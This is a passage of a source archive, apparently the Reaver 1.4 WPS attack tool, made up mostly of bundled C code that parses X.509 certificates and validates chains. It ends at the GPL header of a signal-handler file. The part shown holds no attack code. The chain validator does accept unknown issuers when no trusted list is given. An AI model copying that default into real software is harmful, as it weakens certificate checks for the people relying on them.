if (asn1_get_next(hdr.payload, hdr.length, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL) { wpa_printf(MSG_DEBUG, "X509: Failed to parse " "BasicConstraints"); return -1; } if (hdr.tag == ASN1_TAG_BOOLEAN) { if (hdr.length != 1) { wpa_printf(MSG_DEBUG, "X509: Unexpected " "Boolean length (%u) in BasicConstraints", hdr.length); return -1; } cert->ca = hdr.payload[0]; if (hdr.payload + hdr.length == pos + len) { wpa_printf(MSG_DEBUG, "X509: BasicConstraints - cA=%d", cert->ca); return 0; } if (asn1_get_next(hdr.payload + hdr.length, len - hdr.length, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL) { wpa_printf(MSG_DEBUG, "X509: Failed to parse " "BasicConstraints"); return -1; } } if (hdr.tag != ASN1_TAG_INTEGER) { wpa_printf(MSG_DEBUG, "X509: Expected INTEGER in " "BasicConstraints; found class %d tag 0x%x", hdr.class, hdr.tag); return -1; } pos = hdr.payload; left = hdr.length; value = 0; while (left) { value <<= 8; value |= *pos++; left--; } cert->path_len_constraint = value; cert->extensions_present |= X509_EXT_PATH_LEN_CONSTRAINT; wpa_printf(MSG_DEBUG, "X509: BasicConstraints - cA=%d " "pathLenConstraint=%lu", cert->ca, cert->path_len_constraint); return 0; } static int x509_parse_alt_name_rfc8222(struct x509_name *name, const u8 *pos, size_t len) { /* rfc822Name IA5String */ wpa_hexdump_ascii(MSG_MSGDUMP, "X509: altName - rfc822Name", pos, len); os_free(name->alt_email); name->alt_email = os_zalloc(len + 1); if (name->alt_email == NULL) return -1; os_memcpy(name->alt_email, pos, len); if (os_strlen(name->alt_email) != len) { wpa_printf(MSG_INFO, "X509: Reject certificate with " "embedded NUL byte in rfc822Name (%s[NUL])", name->alt_email); os_free(name->alt_email); name->alt_email = NULL; return -1; } return 0; } static int x509_parse_alt_name_dns(struct x509_name *name, const u8 *pos, size_t len) { /* dNSName IA5String */ wpa_hexdump_ascii(MSG_MSGDUMP, "X509: altName - dNSName", pos, len); os_free(name->dns); name->dns = os_zalloc(len + 1); if (name->dns == NULL) return -1; os_memcpy(name->dns, pos, len); if (os_strlen(name->dns) != len) { wpa_printf(MSG_INFO, "X509: Reject certificate with " "embedded NUL byte in dNSName (%s[NUL])", name->dns); os_free(name->dns); name->dns = NULL; return -1; } return 0; } static int x509_parse_alt_name_uri(struct x509_name *name, const u8 *pos, size_t len) { /* uniformResourceIdentifier IA5String */ wpa_hexdump_ascii(MSG_MSGDUMP, "X509: altName - uniformResourceIdentifier", pos, len); os_free(name->uri); name->uri = os_zalloc(len + 1); if (name->uri == NULL) return -1; os_memcpy(name->uri, pos, len); if (os_strlen(name->uri) != len) { wpa_printf(MSG_INFO, "X509: Reject certificate with " "embedded NUL byte in uniformResourceIdentifier " "(%s[NUL])", name->uri); os_free(name->uri); name->uri = NULL; return -1; } return 0; } static int x509_parse_alt_name_ip(struct x509_name *name, const u8 *pos, size_t len) { /* iPAddress OCTET STRING */ wpa_hexdump(MSG_MSGDUMP, "X509: altName - iPAddress", pos, len); os_free(name->ip); name->ip = os_malloc(len); if (name->ip == NULL) return -1; os_memcpy(name->ip, pos, len); name->ip_len = len; return 0; } static int x509_parse_alt_name_rid(struct x509_name *name, const u8 *pos, size_t len) { char buf[80]; /* registeredID OBJECT IDENTIFIER */ if (asn1_parse_oid(pos, len, &name->rid) < 0) return -1; asn1_oid_to_str(&name->rid, buf, sizeof(buf)); wpa_printf(MSG_MSGDUMP, "X509: altName - registeredID: %s", buf); return 0; } static int x509_parse_ext_alt_name(struct x509_name *name, const u8 *pos, size_t len) { struct asn1_hdr hdr; const u8 *p, *end; /* * GeneralNames ::= SEQUENCE SIZE (1..MAX) OF GeneralName * * GeneralName ::= CHOICE { * otherName [0] OtherName, * rfc822Name [1] IA5String, * dNSName [2] IA5String, * x400Address [3] ORAddress, * directoryName [4] Name, * ediPartyName [5] EDIPartyName, * uniformResourceIdentifier [6] IA5String, * iPAddress [7] OCTET STRING, * registeredID [8] OBJECT IDENTIFIER } * * OtherName ::= SEQUENCE { * type-id OBJECT IDENTIFIER, * value [0] EXPLICIT ANY DEFINED BY type-id } * * EDIPartyName ::= SEQUENCE { * nameAssigner [0] DirectoryString OPTIONAL, * partyName [1] DirectoryString } */ for (p = pos, end = pos + len; p < end; p = hdr.payload + hdr.length) { int res; if (asn1_get_next(p, end - p, &hdr) < 0) { wpa_printf(MSG_DEBUG, "X509: Failed to parse " "SubjectAltName item"); return -1; } if (hdr.class != ASN1_CLASS_CONTEXT_SPECIFIC) continue; switch (hdr.tag) { case 1: res = x509_parse_alt_name_rfc8222(name, hdr.payload, hdr.length); break; case 2: res = x509_parse_alt_name_dns(name, hdr.payload, hdr.length); break; case 6: res = x509_parse_alt_name_uri(name, hdr.payload, hdr.length); break; case 7: res = x509_parse_alt_name_ip(name, hdr.payload, hdr.length); break; case 8: res = x509_parse_alt_name_rid(name, hdr.payload, hdr.length); break; case 0: /* TODO: otherName */ case 3: /* TODO: x500Address */ case 4: /* TODO: directoryName */ case 5: /* TODO: ediPartyName */ default: res = 0; break; } if (res < 0) return res; } return 0; } static int x509_parse_ext_subject_alt_name(struct x509_certificate *cert, const u8 *pos, size_t len) { struct asn1_hdr hdr; /* SubjectAltName ::= GeneralNames */ if (asn1_get_next(pos, len, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_SEQUENCE) { wpa_printf(MSG_DEBUG, "X509: Expected SEQUENCE in " "SubjectAltName; found %d tag 0x%x", hdr.class, hdr.tag); return -1; } wpa_printf(MSG_DEBUG, "X509: SubjectAltName"); cert->extensions_present |= X509_EXT_SUBJECT_ALT_NAME; if (hdr.length == 0) return 0; return x509_parse_ext_alt_name(&cert->subject, hdr.payload, hdr.length); } static int x509_parse_ext_issuer_alt_name(struct x509_certificate *cert, const u8 *pos, size_t len) { struct asn1_hdr hdr; /* IssuerAltName ::= GeneralNames */ if (asn1_get_next(pos, len, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_SEQUENCE) { wpa_printf(MSG_DEBUG, "X509: Expected SEQUENCE in " "IssuerAltName; found %d tag 0x%x", hdr.class, hdr.tag); return -1; } wpa_printf(MSG_DEBUG, "X509: IssuerAltName"); cert->extensions_present |= X509_EXT_ISSUER_ALT_NAME; if (hdr.length == 0) return 0; return x509_parse_ext_alt_name(&cert->issuer, hdr.payload, hdr.length); } static int x509_parse_extension_data(struct x509_certificate *cert, struct asn1_oid *oid, const u8 *pos, size_t len) { if (!x509_id_ce_oid(oid)) return 1; /* TODO: add other extensions required by RFC 3280, Ch 4.2: * certificate policies (section 4.2.1.5) * name constraints (section 4.2.1.11) * policy constraints (section 4.2.1.12) * extended key usage (section 4.2.1.13) * inhibit any-policy (section 4.2.1.15) */ switch (oid->oid[3]) { case 15: /* id-ce-keyUsage */ return x509_parse_ext_key_usage(cert, pos, len); case 17: /* id-ce-subjectAltName */ return x509_parse_ext_subject_alt_name(cert, pos, len); case 18: /* id-ce-issuerAltName */ return x509_parse_ext_issuer_alt_name(cert, pos, len); case 19: /* id-ce-basicConstraints */ return x509_parse_ext_basic_constraints(cert, pos, len); default: return 1; } } static int x509_parse_extension(struct x509_certificate *cert, const u8 *pos, size_t len, const u8 **next) { const u8 *end; struct asn1_hdr hdr; struct asn1_oid oid; int critical_ext = 0, res; char buf[80]; /* * Extension ::= SEQUENCE { * extnID OBJECT IDENTIFIER, * critical BOOLEAN DEFAULT FALSE, * extnValue OCTET STRING * } */ if (asn1_get_next(pos, len, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_SEQUENCE) { wpa_printf(MSG_DEBUG, "X509: Unexpected ASN.1 header in " "Extensions: class %d tag 0x%x; expected SEQUENCE", hdr.class, hdr.tag); return -1; } pos = hdr.payload; *next = end = pos + hdr.length; if (asn1_get_oid(pos, end - pos, &oid, &pos) < 0) { wpa_printf(MSG_DEBUG, "X509: Unexpected ASN.1 data for " "Extension (expected OID)"); return -1; } if (asn1_get_next(pos, end - pos, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || (hdr.tag != ASN1_TAG_BOOLEAN && hdr.tag != ASN1_TAG_OCTETSTRING)) { wpa_printf(MSG_DEBUG, "X509: Unexpected ASN.1 header in " "Extensions: class %d tag 0x%x; expected BOOLEAN " "or OCTET STRING", hdr.class, hdr.tag); return -1; } if (hdr.tag == ASN1_TAG_BOOLEAN) { if (hdr.length != 1) { wpa_printf(MSG_DEBUG, "X509: Unexpected " "Boolean length (%u)", hdr.length); return -1; } critical_ext = hdr.payload[0]; pos = hdr.payload; if (asn1_get_next(pos, end - pos, &hdr) < 0 || (hdr.class != ASN1_CLASS_UNIVERSAL && hdr.class != ASN1_CLASS_PRIVATE) || hdr.tag != ASN1_TAG_OCTETSTRING) { wpa_printf(MSG_DEBUG, "X509: Unexpected ASN.1 header " "in Extensions: class %d tag 0x%x; " "expected OCTET STRING", hdr.class, hdr.tag); return -1; } } asn1_oid_to_str(&oid, buf, sizeof(buf)); wpa_printf(MSG_DEBUG, "X509: Extension: extnID=%s critical=%d", buf, critical_ext); wpa_hexdump(MSG_MSGDUMP, "X509: extnValue", hdr.payload, hdr.length); res = x509_parse_extension_data(cert, &oid, hdr.payload, hdr.length); if (res < 0) return res; if (res == 1 && critical_ext) { wpa_printf(MSG_INFO, "X509: Unknown critical extension %s", buf); return -1; } return 0; } static int x509_parse_extensions(struct x509_certificate *cert, const u8 *pos, size_t len) { const u8 *end; struct asn1_hdr hdr; /* Extensions ::= SEQUENCE SIZE (1..MAX) OF Extension */ if (asn1_get_next(pos, len, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_SEQUENCE) { wpa_printf(MSG_DEBUG, "X509: Unexpected ASN.1 data " "for Extensions: class %d tag 0x%x; " "expected SEQUENCE", hdr.class, hdr.tag); return -1; } pos = hdr.payload; end = pos + hdr.length; while (pos < end) { if (x509_parse_extension(cert, pos, end - pos, &pos) < 0) return -1; } return 0; } static int x509_parse_tbs_certificate(const u8 *buf, size_t len, struct x509_certificate *cert, const u8 **next) { struct asn1_hdr hdr; const u8 *pos, *end; size_t left; char sbuf[128]; unsigned long value; /* tbsCertificate TBSCertificate ::= SEQUENCE */ if (asn1_get_next(buf, len, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_SEQUENCE) { wpa_printf(MSG_DEBUG, "X509: tbsCertificate did not start " "with a valid SEQUENCE - found class %d tag 0x%x", hdr.class, hdr.tag); return -1; } pos = hdr.payload; end = *next = pos + hdr.length; /* * version [0] EXPLICIT Version DEFAULT v1 * Version ::= INTEGER { v1(0), v2(1), v3(2) } */ if (asn1_get_next(pos, end - pos, &hdr) < 0) return -1; pos = hdr.payload; if (hdr.class == ASN1_CLASS_CONTEXT_SPECIFIC) { if (asn1_get_next(pos, end - pos, &hdr) < 0) return -1; if (hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_INTEGER) { wpa_printf(MSG_DEBUG, "X509: No INTEGER tag found for " "version field - found class %d tag 0x%x", hdr.class, hdr.tag); return -1; } if (hdr.length != 1) { wpa_printf(MSG_DEBUG, "X509: Unexpected version field " "length %u (expected 1)", hdr.length); return -1; } pos = hdr.payload; left = hdr.length; value = 0; while (left) { value <<= 8; value |= *pos++; left--; } cert->version = value; if (cert->version != X509_CERT_V1 && cert->version != X509_CERT_V2 && cert->version != X509_CERT_V3) { wpa_printf(MSG_DEBUG, "X509: Unsupported version %d", cert->version + 1); return -1; } if (asn1_get_next(pos, end - pos, &hdr) < 0) return -1; } else cert->version = X509_CERT_V1; wpa_printf(MSG_MSGDUMP, "X509: Version X.509v%d", cert->version + 1); /* serialNumber CertificateSerialNumber ::= INTEGER */ if (hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_INTEGER) { wpa_printf(MSG_DEBUG, "X509: No INTEGER tag found for " "serialNumber; class=%d tag=0x%x", hdr.class, hdr.tag); return -1; } pos = hdr.payload; left = hdr.length; while (left) { cert->serial_number <<= 8; cert->serial_number |= *pos++; left--; } wpa_printf(MSG_MSGDUMP, "X509: serialNumber %lu", cert->serial_number); /* signature AlgorithmIdentifier */ if (x509_parse_algorithm_identifier(pos, end - pos, &cert->signature, &pos)) return -1; /* issuer Name */ if (x509_parse_name(pos, end - pos, &cert->issuer, &pos)) return -1; x509_name_string(&cert->issuer, sbuf, sizeof(sbuf)); wpa_printf(MSG_MSGDUMP, "X509: issuer %s", sbuf); /* validity Validity */ if (x509_parse_validity(pos, end - pos, cert, &pos)) return -1; /* subject Name */ if (x509_parse_name(pos, end - pos, &cert->subject, &pos)) return -1; x509_name_string(&cert->subject, sbuf, sizeof(sbuf)); wpa_printf(MSG_MSGDUMP, "X509: subject %s", sbuf); /* subjectPublicKeyInfo SubjectPublicKeyInfo */ if (x509_parse_public_key(pos, end - pos, cert, &pos)) return -1; if (pos == end) return 0; if (cert->version == X509_CERT_V1) return 0; if (asn1_get_next(pos, end - pos, &hdr) < 0 || hdr.class != ASN1_CLASS_CONTEXT_SPECIFIC) { wpa_printf(MSG_DEBUG, "X509: Expected Context-Specific" " tag to parse optional tbsCertificate " "field(s); parsed class %d tag 0x%x", hdr.class, hdr.tag); return -1; } if (hdr.tag == 1) { /* issuerUniqueID [1] IMPLICIT UniqueIdentifier OPTIONAL */ wpa_printf(MSG_DEBUG, "X509: issuerUniqueID"); /* TODO: parse UniqueIdentifier ::= BIT STRING */ if (hdr.payload + hdr.length == end) return 0; if (asn1_get_next(pos, end - pos, &hdr) < 0 || hdr.class != ASN1_CLASS_CONTEXT_SPECIFIC) { wpa_printf(MSG_DEBUG, "X509: Expected Context-Specific" " tag to parse optional tbsCertificate " "field(s); parsed class %d tag 0x%x", hdr.class, hdr.tag); return -1; } } if (hdr.tag == 2) { /* subjectUniqueID [2] IMPLICIT UniqueIdentifier OPTIONAL */ wpa_printf(MSG_DEBUG, "X509: subjectUniqueID"); /* TODO: parse UniqueIdentifier ::= BIT STRING */ if (hdr.payload + hdr.length == end) return 0; if (asn1_get_next(pos, end - pos, &hdr) < 0 || hdr.class != ASN1_CLASS_CONTEXT_SPECIFIC) { wpa_printf(MSG_DEBUG, "X509: Expected Context-Specific" " tag to parse optional tbsCertificate " "field(s); parsed class %d tag 0x%x", hdr.class, hdr.tag); return -1; } } if (hdr.tag != 3) { wpa_printf(MSG_DEBUG, "X509: Ignored unexpected " "Context-Specific tag %d in optional " "tbsCertificate fields", hdr.tag); return 0; } /* extensions [3] EXPLICIT Extensions OPTIONAL */ if (cert->version != X509_CERT_V3) { wpa_printf(MSG_DEBUG, "X509: X.509%d certificate and " "Extensions data which are only allowed for " "version 3", cert->version + 1); return -1; } if (x509_parse_extensions(cert, hdr.payload, hdr.length) < 0) return -1; pos = hdr.payload + hdr.length; if (pos < end) { wpa_hexdump(MSG_DEBUG, "X509: Ignored extra tbsCertificate data", pos, end - pos); } return 0; } static int x509_rsadsi_oid(struct asn1_oid *oid) { return oid->len >= 4 && oid->oid[0] == 1 /* iso */ && oid->oid[1] == 2 /* member-body */ && oid->oid[2] == 840 /* us */ && oid->oid[3] == 113549 /* rsadsi */; } static int x509_pkcs_oid(struct asn1_oid *oid) { return oid->len >= 5 && x509_rsadsi_oid(oid) && oid->oid[4] == 1 /* pkcs */; } static int x509_digest_oid(struct asn1_oid *oid) { return oid->len >= 5 && x509_rsadsi_oid(oid) && oid->oid[4] == 2 /* digestAlgorithm */; } static int x509_sha1_oid(struct asn1_oid *oid) { return oid->len == 6 && oid->oid[0] == 1 /* iso */ && oid->oid[1] == 3 /* identified-organization */ && oid->oid[2] == 14 /* oiw */ && oid->oid[3] == 3 /* secsig */ && oid->oid[4] == 2 /* algorithms */ && oid->oid[5] == 26 /* id-sha1 */; } static int x509_sha256_oid(struct asn1_oid *oid) { return oid->len == 9 && oid->oid[0] == 2 /* joint-iso-itu-t */ && oid->oid[1] == 16 /* country */ && oid->oid[2] == 840 /* us */ && oid->oid[3] == 1 /* organization */ && oid->oid[4] == 101 /* gov */ && oid->oid[5] == 3 /* csor */ && oid->oid[6] == 4 /* nistAlgorithm */ && oid->oid[7] == 2 /* hashAlgs */ && oid->oid[8] == 1 /* sha256 */; } /** * x509_certificate_parse - Parse a X.509 certificate in DER format * @buf: Pointer to the X.509 certificate in DER format * @len: Buffer length * Returns: Pointer to the parsed certificate or %NULL on failure * * Caller is responsible for freeing the returned certificate by calling * x509_certificate_free(). */ struct x509_certificate * x509_certificate_parse(const u8 *buf, size_t len) { struct asn1_hdr hdr; const u8 *pos, *end, *hash_start; struct x509_certificate *cert; cert = os_zalloc(sizeof(*cert) + len); if (cert == NULL) return NULL; os_memcpy(cert + 1, buf, len); cert->cert_start = (u8 *) (cert + 1); cert->cert_len = len; pos = buf; end = buf + len; /* RFC 3280 - X.509 v3 certificate / ASN.1 DER */ /* Certificate ::= SEQUENCE */ if (asn1_get_next(pos, len, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_SEQUENCE) { wpa_printf(MSG_DEBUG, "X509: Certificate did not start with " "a valid SEQUENCE - found class %d tag 0x%x", hdr.class, hdr.tag); x509_certificate_free(cert); return NULL; } pos = hdr.payload; if (pos + hdr.length > end) { x509_certificate_free(cert); return NULL; } if (pos + hdr.length < end) { wpa_hexdump(MSG_MSGDUMP, "X509: Ignoring extra data after DER " "encoded certificate", pos + hdr.length, end - pos + hdr.length); end = pos + hdr.length; } hash_start = pos; cert->tbs_cert_start = cert->cert_start + (hash_start - buf); if (x509_parse_tbs_certificate(pos, end - pos, cert, &pos)) { x509_certificate_free(cert); return NULL; } cert->tbs_cert_len = pos - hash_start; /* signatureAlgorithm AlgorithmIdentifier */ if (x509_parse_algorithm_identifier(pos, end - pos, &cert->signature_alg, &pos)) { x509_certificate_free(cert); return NULL; } /* signatureValue BIT STRING */ if (asn1_get_next(pos, end - pos, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_BITSTRING) { wpa_printf(MSG_DEBUG, "X509: Expected BITSTRING " "(signatureValue) - found class %d tag 0x%x", hdr.class, hdr.tag); x509_certificate_free(cert); return NULL; } if (hdr.length < 1) { x509_certificate_free(cert); return NULL; } pos = hdr.payload; if (*pos) { wpa_printf(MSG_DEBUG, "X509: BITSTRING - %d unused bits", *pos); /* PKCS #1 v1.5 10.2.1: * It is an error if the length in bits of the signature S is * not a multiple of eight. */ x509_certificate_free(cert); return NULL; } os_free(cert->sign_value); cert->sign_value = os_malloc(hdr.length - 1); if (cert->sign_value == NULL) { wpa_printf(MSG_DEBUG, "X509: Failed to allocate memory for " "signatureValue"); x509_certificate_free(cert); return NULL; } os_memcpy(cert->sign_value, pos + 1, hdr.length - 1); cert->sign_value_len = hdr.length - 1; wpa_hexdump(MSG_MSGDUMP, "X509: signature", cert->sign_value, cert->sign_value_len); return cert; } /** * x509_certificate_check_signature - Verify certificate signature * @issuer: Issuer certificate * @cert: Certificate to be verified * Returns: 0 if cert has a valid signature that was signed by the issuer, * -1 if not */ int x509_certificate_check_signature(struct x509_certificate *issuer, struct x509_certificate *cert) { struct crypto_public_key *pk; u8 *data; const u8 *pos, *end, *next, *da_end; size_t data_len; struct asn1_hdr hdr; struct asn1_oid oid; u8 hash[32]; size_t hash_len; if (!x509_pkcs_oid(&cert->signature.oid) || cert->signature.oid.len != 7 || cert->signature.oid.oid[5] != 1 /* pkcs-1 */) { wpa_printf(MSG_DEBUG, "X509: Unrecognized signature " "algorithm"); return -1; } pk = crypto_public_key_import(issuer->public_key, issuer->public_key_len); if (pk == NULL) return -1; data_len = cert->sign_value_len; data = os_malloc(data_len); if (data == NULL) { crypto_public_key_free(pk); return -1; } if (crypto_public_key_decrypt_pkcs1(pk, cert->sign_value, cert->sign_value_len, data, &data_len) < 0) { wpa_printf(MSG_DEBUG, "X509: Failed to decrypt signature"); crypto_public_key_free(pk); os_free(data); return -1; } crypto_public_key_free(pk); wpa_hexdump(MSG_MSGDUMP, "X509: Signature data D", data, data_len); /* * PKCS #1 v1.5, 10.1.2: * * DigestInfo ::= SEQUENCE { * digestAlgorithm DigestAlgorithmIdentifier, * digest Digest * } * * DigestAlgorithmIdentifier ::= AlgorithmIdentifier * * Digest ::= OCTET STRING * */ if (asn1_get_next(data, data_len, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_SEQUENCE) { wpa_printf(MSG_DEBUG, "X509: Expected SEQUENCE " "(DigestInfo) - found class %d tag 0x%x", hdr.class, hdr.tag); os_free(data); return -1; } pos = hdr.payload; end = pos + hdr.length; /* * X.509: * AlgorithmIdentifier ::= SEQUENCE { * algorithm OBJECT IDENTIFIER, * parameters ANY DEFINED BY algorithm OPTIONAL * } */ if (asn1_get_next(pos, end - pos, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_SEQUENCE) { wpa_printf(MSG_DEBUG, "X509: Expected SEQUENCE " "(AlgorithmIdentifier) - found class %d tag 0x%x", hdr.class, hdr.tag); os_free(data); return -1; } da_end = hdr.payload + hdr.length; if (asn1_get_oid(hdr.payload, hdr.length, &oid, &next)) { wpa_printf(MSG_DEBUG, "X509: Failed to parse digestAlgorithm"); os_free(data); return -1; } if (x509_sha1_oid(&oid)) { if (cert->signature.oid.oid[6] != 5 /* sha-1WithRSAEncryption */) { wpa_printf(MSG_DEBUG, "X509: digestAlgorithm SHA1 " "does not match with certificate " "signatureAlgorithm (%lu)", cert->signature.oid.oid[6]); os_free(data); return -1; } goto skip_digest_oid; } if (x509_sha256_oid(&oid)) { if (cert->signature.oid.oid[6] != 11 /* sha2561WithRSAEncryption */) { wpa_printf(MSG_DEBUG, "X509: digestAlgorithm SHA256 " "does not match with certificate " "signatureAlgorithm (%lu)", cert->signature.oid.oid[6]); os_free(data); return -1; } goto skip_digest_oid; } if (!x509_digest_oid(&oid)) { wpa_printf(MSG_DEBUG, "X509: Unrecognized digestAlgorithm"); os_free(data); return -1; } switch (oid.oid[5]) { case 5: /* md5 */ if (cert->signature.oid.oid[6] != 4 /* md5WithRSAEncryption */) { wpa_printf(MSG_DEBUG, "X509: digestAlgorithm MD5 does " "not match with certificate " "signatureAlgorithm (%lu)", cert->signature.oid.oid[6]); os_free(data); return -1; } break; case 2: /* md2 */ case 4: /* md4 */ default: wpa_printf(MSG_DEBUG, "X509: Unsupported digestAlgorithm " "(%lu)", oid.oid[5]); os_free(data); return -1; } skip_digest_oid: /* Digest ::= OCTET STRING */ pos = da_end; end = data + data_len; if (asn1_get_next(pos, end - pos, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_OCTETSTRING) { wpa_printf(MSG_DEBUG, "X509: Expected OCTETSTRING " "(Digest) - found class %d tag 0x%x", hdr.class, hdr.tag); os_free(data); return -1; } wpa_hexdump(MSG_MSGDUMP, "X509: Decrypted Digest", hdr.payload, hdr.length); switch (cert->signature.oid.oid[6]) { case 4: /* md5WithRSAEncryption */ md5_vector(1, &cert->tbs_cert_start, &cert->tbs_cert_len, hash); hash_len = 16; wpa_hexdump(MSG_MSGDUMP, "X509: Certificate hash (MD5)", hash, hash_len); break; case 5: /* sha-1WithRSAEncryption */ sha1_vector(1, &cert->tbs_cert_start, &cert->tbs_cert_len, hash); hash_len = 20; wpa_hexdump(MSG_MSGDUMP, "X509: Certificate hash (SHA1)", hash, hash_len); break; case 11: /* sha256WithRSAEncryption */ sha256_vector(1, &cert->tbs_cert_start, &cert->tbs_cert_len, hash); hash_len = 32; wpa_hexdump(MSG_MSGDUMP, "X509: Certificate hash (SHA256)", hash, hash_len); break; case 2: /* md2WithRSAEncryption */ case 12: /* sha384WithRSAEncryption */ case 13: /* sha512WithRSAEncryption */ default: wpa_printf(MSG_INFO, "X509: Unsupported certificate signature " "algorithm (%lu)", cert->signature.oid.oid[6]); os_free(data); return -1; } if (hdr.length != hash_len || os_memcmp(hdr.payload, hash, hdr.length) != 0) { wpa_printf(MSG_INFO, "X509: Certificate Digest does not match " "with calculated tbsCertificate hash"); os_free(data); return -1; } os_free(data); wpa_printf(MSG_DEBUG, "X509: Certificate Digest matches with " "calculated tbsCertificate hash"); return 0; } static int x509_valid_issuer(const struct x509_certificate *cert) { if ((cert->extensions_present & X509_EXT_BASIC_CONSTRAINTS) && !cert->ca) { wpa_printf(MSG_DEBUG, "X509: Non-CA certificate used as an " "issuer"); return -1; } if (cert->version == X509_CERT_V3 && !(cert->extensions_present & X509_EXT_BASIC_CONSTRAINTS)) { wpa_printf(MSG_DEBUG, "X509: v3 CA certificate did not " "include BasicConstraints extension"); return -1; } if ((cert->extensions_present & X509_EXT_KEY_USAGE) && !(cert->key_usage & X509_KEY_USAGE_KEY_CERT_SIGN)) { wpa_printf(MSG_DEBUG, "X509: Issuer certificate did not have " "keyCertSign bit in Key Usage"); return -1; } return 0; } /** * x509_certificate_chain_validate - Validate X.509 certificate chain * @trusted: List of trusted certificates * @chain: Certificate chain to be validated (first chain must be issued by * signed by the second certificate in the chain and so on) * @reason: Buffer for returning failure reason (X509_VALIDATE_*) * Returns: 0 if chain is valid, -1 if not */ int x509_certificate_chain_validate(struct x509_certificate *trusted, struct x509_certificate *chain, int *reason) { long unsigned idx; int chain_trusted = 0; struct x509_certificate *cert, *trust; char buf[128]; struct os_time now; *reason = X509_VALIDATE_OK; wpa_printf(MSG_DEBUG, "X509: Validate certificate chain"); os_get_time(&now); for (cert = chain, idx = 0; cert; cert = cert->next, idx++) { x509_name_string(&cert->subject, buf, sizeof(buf)); wpa_printf(MSG_DEBUG, "X509: %lu: %s", idx, buf); if (chain_trusted) continue; if ((unsigned long) now.sec < (unsigned long) cert->not_before || (unsigned long) now.sec > (unsigned long) cert->not_after) { wpa_printf(MSG_INFO, "X509: Certificate not valid " "(now=%lu not_before=%lu not_after=%lu)", now.sec, cert->not_before, cert->not_after); *reason = X509_VALIDATE_CERTIFICATE_EXPIRED; return -1; } if (cert->next) { if (x509_name_compare(&cert->issuer, &cert->next->subject) != 0) { wpa_printf(MSG_DEBUG, "X509: Certificate " "chain issuer name mismatch"); x509_name_string(&cert->issuer, buf, sizeof(buf)); wpa_printf(MSG_DEBUG, "X509: cert issuer: %s", buf); x509_name_string(&cert->next->subject, buf, sizeof(buf)); wpa_printf(MSG_DEBUG, "X509: next cert " "subject: %s", buf); *reason = X509_VALIDATE_CERTIFICATE_UNKNOWN; return -1; } if (x509_valid_issuer(cert->next) < 0) { *reason = X509_VALIDATE_BAD_CERTIFICATE; return -1; } if ((cert->next->extensions_present & X509_EXT_PATH_LEN_CONSTRAINT) && idx > cert->next->path_len_constraint) { wpa_printf(MSG_DEBUG, "X509: pathLenConstraint" " not met (idx=%lu issuer " "pathLenConstraint=%lu)", idx, cert->next->path_len_constraint); *reason = X509_VALIDATE_BAD_CERTIFICATE; return -1; } if (x509_certificate_check_signature(cert->next, cert) < 0) { wpa_printf(MSG_DEBUG, "X509: Invalid " "certificate signature within " "chain"); *reason = X509_VALIDATE_BAD_CERTIFICATE; return -1; } } for (trust = trusted; trust; trust = trust->next) { if (x509_name_compare(&cert->issuer, &trust->subject) == 0) break; } if (trust) { wpa_printf(MSG_DEBUG, "X509: Found issuer from the " "list of trusted certificates"); if (x509_valid_issuer(trust) < 0) { *reason = X509_VALIDATE_BAD_CERTIFICATE; return -1; } if (x509_certificate_check_signature(trust, cert) < 0) { wpa_printf(MSG_DEBUG, "X509: Invalid " "certificate signature"); *reason = X509_VALIDATE_BAD_CERTIFICATE; return -1; } wpa_printf(MSG_DEBUG, "X509: Trusted certificate " "found to complete the chain"); chain_trusted = 1; } } if (!chain_trusted) { wpa_printf(MSG_DEBUG, "X509: Did not find any of the issuers " "from the list of trusted certificates"); if (trusted) { *reason = X509_VALIDATE_UNKNOWN_CA; return -1; } wpa_printf(MSG_DEBUG, "X509: Certificate chain validation " "disabled - ignore unknown CA issue"); } wpa_printf(MSG_DEBUG, "X509: Certificate chain valid"); return 0; } /** * x509_certificate_get_subject - Get a certificate based on Subject name * @chain: Certificate chain to search through * @name: Subject name to search for * Returns: Pointer to the certificate with the given Subject name or * %NULL on failure */ struct x509_certificate * x509_certificate_get_subject(struct x509_certificate *chain, struct x509_name *name) { struct x509_certificate *cert; for (cert = chain; cert; cert = cert->next) { if (x509_name_compare(&cert->subject, name) == 0) return cert; } return NULL; } /** * x509_certificate_self_signed - Is the certificate self-signed? * @cert: Certificate * Returns: 1 if certificate is self-signed, 0 if not */ int x509_certificate_self_signed(struct x509_certificate *cert) { return x509_name_compare(&cert->issuer, &cert->subject) == 0; } reaver-1.4/src/sigalrm.c0000644000175000017500000000647111705505260014576 0ustar reaverreaver/* * Reaver - Sigalrm handler functions * Copyright (c) 2011, Tactical Network Solutions, Craig Heffner * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than 